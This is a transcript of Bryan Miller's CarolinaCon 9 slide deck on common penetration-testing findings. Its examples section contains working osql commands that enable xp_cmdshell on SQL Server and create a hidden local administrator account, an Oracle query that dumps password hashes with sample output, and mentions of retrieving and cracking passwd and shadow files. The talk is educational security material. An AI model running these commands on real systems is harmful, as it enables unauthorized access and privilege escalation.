CarolinaCon 9 The Low Hanging Fruit of Penetration Testing Presented by: Bryan Miller.
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Transcript of CarolinaCon 9 The Low Hanging Fruit of Penetration Testing Presented by: Bryan Miller.
CarolinaCon 9
The Low Hanging Fruit of Penetration Testing
Presented by:
Bryan Miller
CarolinaCon 9
Pen Testing vs. VA vs. Risk Assessments
Penetration Testing Concepts/Issues
What is Low Hanging Fruit
Low Hanging Fruit Examples
Wrap Up
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AGENDA
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B.S. I.S., M.S. C.S. – Virginia Commonwealth University
Current CISSP, former Banyan CBE & Cisco CCIE
Former adjunct professor – I.S. & C.S. – VCU
ISSA, ISACA, IALR and VA SCAN lecturer
Penetration testing for 11+ years
Published author with 25 years in I.T.
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The Low Hanging Fruit of Penetration Testing
Penetration Testingvs.
Vulnerability Assessmentsvs.
Risk Assessments
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Penetration Testing Tests for actual vulnerabilities and what can be
exploited Value add comes from putting the pieces together
Vulnerability Assessment Reports on potential vulnerabilities without testing them Assigns risk values to each issue
Risk Assessment More analytical and less technical Great for overviews but IMHO it will never catch LHF
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The Low Hanging Fruit of Penetration Testing
Penetration Testing Concepts/Issues
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Types of testing
External Testing from outside the security perimeter (firewall)
Internet, dial-in, wireless, physical & social engineering
Usually performed in a black-box approach w/no credentials
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Types of testing
Internal What is accessible inside the security perimeter
White-box or black-box depending on goals Tests for effects of automated malicious software
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Issues - Requirements definition
Do you need a penetration test, VA or risk assessment? Sometimes you may need more than one
What is the ultimate goal of the test? Physical → Test security cameras, locks and alarms Social Engineering → Test HR policies and procedures Vulnerability Assessment → Patch scan
How do you define success? How do you know if the test succeeded or failed? Sometimes difficult to define for a penetration test
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Issues - In-house or outsourced?
In-house Keeping qualified staff happy is a tough job Tools and training can be very expensive Sometimes you just need an unbiased 2nd opinion
Outsourced How do you judge competency? Do they have a methodology, tool list, references? Do they outsource their work? Geography/vertical market coverage
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Issues
Deliverables Will the report include specific recommendations? Is there tool output for verification? No boilerplate text!
Remediation If you don’t plan on fixing the issues, don’t waste the time
or money performing the tests
Post-remediation testing Critical to ensure that all issues have been resolved
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The Low Hanging Fruit of Penetration Testing
What is Low Hanging Fruit?
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The Low Hanging Fruit Top Ten
6. Permissions on data resources
7. Employee security awareness
8. Encryption
9. Policies & procedures
10. Physical security
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The Low Hanging Fruit Top Ten
1. Password management
2. Default security controls
3. OS and application patches
4. SQL Injection, XSS, URL issues
5. Wireless access points/modems
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The Low Hanging Fruit of Penetration Testing
Low Hanging Fruit Examples
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Turn on “xp_cmdshell” if it’s disabled
1. osql –S10.1.1.1 -U sa -P pwd -Q"EXECUTE master.dbo.sp_configure 'show advanced options', 1"
2. osql –S10.1.1.1 -U sa -P pwd -Q"RECONFIGURE"3. osql –S10.1.1.1 -U sa -P pwd -Q"EXECUTE
master.dbo.sp_configure ‘xp_cmdshell’, 1"4. osql –S10.1.1.1 -U sa -P pwd -Q"RECONFIGURE"
Fun with Microsoft SQL
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Add administrative user
1. osql -S10.1.1.1 -U sa -P pwd -Q"EXECUTE xp_cmdshell 'net user bmiller passwd /add'"
2. osql -S10.1.1.1 -U sa -P pwd -Q"EXECUTE xp_cmdshell 'net localgroup administrators bmiller /add'"
More Fun with Microsoft SQL
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TheTrouble
withVNC
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There are many ways to get the VNC password hashes…
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Dumping password hashes – non-privileged account
1. Logged in as “dbsnmp”, we ran the following query:
select username, password from dba_users;
DBSNMP AE1E40C725DFCAC8 AQADMIN 739EF27E22AC39DC SYS C10A280B9CFF9A72 SYSTEM 04D19DEFD642AF20
Fun with Oracle
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2. Ran CheckPWD:
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Reboot via Compaq Insight Manager (CIM)
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Appliances are not immune….
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Downloaded passwd, shadow, host files
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Looks like we can
request any file?
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OK, we’ll
ask for the
password file.
Next up, JTR!
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This is why PCI doesn’t allow WEP
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What the fake telephone repairman saw…
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The danger of scripts laying around…
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Wrap-Up
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Data breaches affect your organization’s reputation and can cost you money.
Software is becoming more complex while attacker tools are becoming easier to use.
Data breaches can be reduced by following best practice rules to eliminate LHF.
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Remember the 3 P’s:
Policies & Procedures
Password Management
Patching
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Q&ABryan Miller
